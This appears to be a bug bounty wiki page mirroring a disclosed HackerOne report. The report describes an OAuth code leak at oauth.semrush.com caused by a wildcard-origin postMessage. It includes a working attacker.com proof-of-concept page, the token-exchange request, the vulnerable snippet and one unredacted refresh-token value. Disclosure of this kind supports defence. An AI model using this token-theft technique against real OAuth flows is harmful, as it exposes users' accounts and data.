[oauth token leak] at oauth.semrush.com
The OAuth success page at oauth.semrush.com sent the authorization code to any opener window without checking its origin, so an attacker could open the authorization URL from a malicious page and read the code via postMessage. The attacker could then exchange the code for access and refresh tokens, leading to leakage of user, project and Site Audit information.
Originally disclosed on HackerOne
- Triaged in 45 hours
- Fixed in 36 days
- Paid in 18 days
- Disclosed after 2 months
Domain, site, application
oauth.semrush.com
Steps to reproduce
- Create following html at attacker.com/postmessage.html
<script>
function listener(event) {
alert(JSON.stringify(event.data));
}
var dest = window.open("https://oauth.semrush.com/oauth2/authorize?response_type=code&scope=user.info,projects.info,siteaudit.info&client_id=seoquake&redirect_uri=https%3A%2F%2Foauth.semrush.com%2Foauth2%2Fsuccess&state=636e7bae-22ed-407d-8d62-1d49b49ec962");
window.addEventListener("message", listener);
</script>
- Go to attacker.com/postmessage.html (make sure you are logged in at www.semrush.com)
- Click "Approve"
- Go to tab with attacker.com, you will see alert with
code - Make POST request with obtained
code
POST /oauth2/access_token HTTP/1.1
Host: oauth.semrush.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 205
DNT: 1
Connection: close
client_id=seoquake&client_secret=██████████&grant_type=authorization_code&code=[COPY OBTAINED CODE HERE]&redirect_uri=https%3A%2F%2Foauth.semrush.com%2Foauth2%2Fsuccess
- Receive response with
access tokenandrefresh token
HTTP/1.1 200 OK
Server: nginx
Content-Type: application/json
Connection: close
Cache-Control: no-cache
Date: Sat, 10 Feb 2018 19:06:38 GMT
Set-Cookie: session=████; expires=Sat, 10-Feb-2018 21:06:38 GMT; Max-Age=7200; path=/; httponly
{"access_token":"███████","token_type":"Bearer","expires_in":604800,"refresh_token":"kiAMXIrTVjfvD131wraCjTLN4CzS7ABhqUGvweYC"}
Actual results
access token and refresh token of victim:
{"access_token":"██████████","token_type":"Bearer","expires_in":604800,"refresh_token":"kiAMXIrTVjfvD131wraCjTLN4CzS7ABhqUGvweYC"}
PoC, exploit code, screenshots, video, references, additional resources
This vulnerability is possible due to lack of window.opener origin check at https://oauth.semrush.com/oauth2/success:
<script>
if (window.opener && typeof opener.postMessage === 'function') {
opener.postMessage({ type: 'semrush:oauth:success', url: location.href }, '*');
}
</script>
Meaning any site that opens https://oauth.semrush.com/oauth2/success may read code in location.href.
Attack vector based on fact that user sees SEOquake authorization page F262215 thinking that it's just official application permission request and with high probability clicks "Approve".
Still working at vector without this small user interaction.
Impact
OAuth tokens leakage. This leads to user sensitive information leakage. Note: it's not necessary to install SEOquake plugin!
P.S.
I'm aware of user info leakage, project info leakage and Site Audit info leakage but maybe there is wider scope of possible sensitive info leak.
I've reported vulnerability as soon as possible therefore no time to deeper scope research.
Attachments

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The OAuth success page used postMessage with a wildcard target origin and did not verify the origin of window.opener, allowing any site to receive the authorization code.
Impact
An attacker could steal OAuth access and refresh tokens, leading to leakage of user information, project information and Site Audit information; the report notes that installing the SEOquake plugin is not necessary.
What the attacker needed
Victim is logged in to semrush.com; victim visits attacker page; victim clicks 'Approve'
How it was found
- Create an HTML page on attacker.com that opens the OAuth authorization URL and listens for messages.
- Visit the attacker page while logged in to semrush.com.
- Click 'Approve' on the authorization page.
- Read the authorization code from the alert on the attacker page.
- Send a POST request to /oauth2/access_token with the stolen code to obtain access and refresh tokens.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you log in to a website using another service (like 'Log in with Google'), the service sends a short-lived code back to the website. This report shows that the code was sent to any page that opened the login window, not just the legitimate website. An attacker could trick a logged-in user into approving access and then steal that code to get full access tokens.
What is OAuth / SSO?
Mistakes in OAuth, OpenID Connect, SAML or token handling that leak codes and tokens or link an attacker's identity to a victim's account.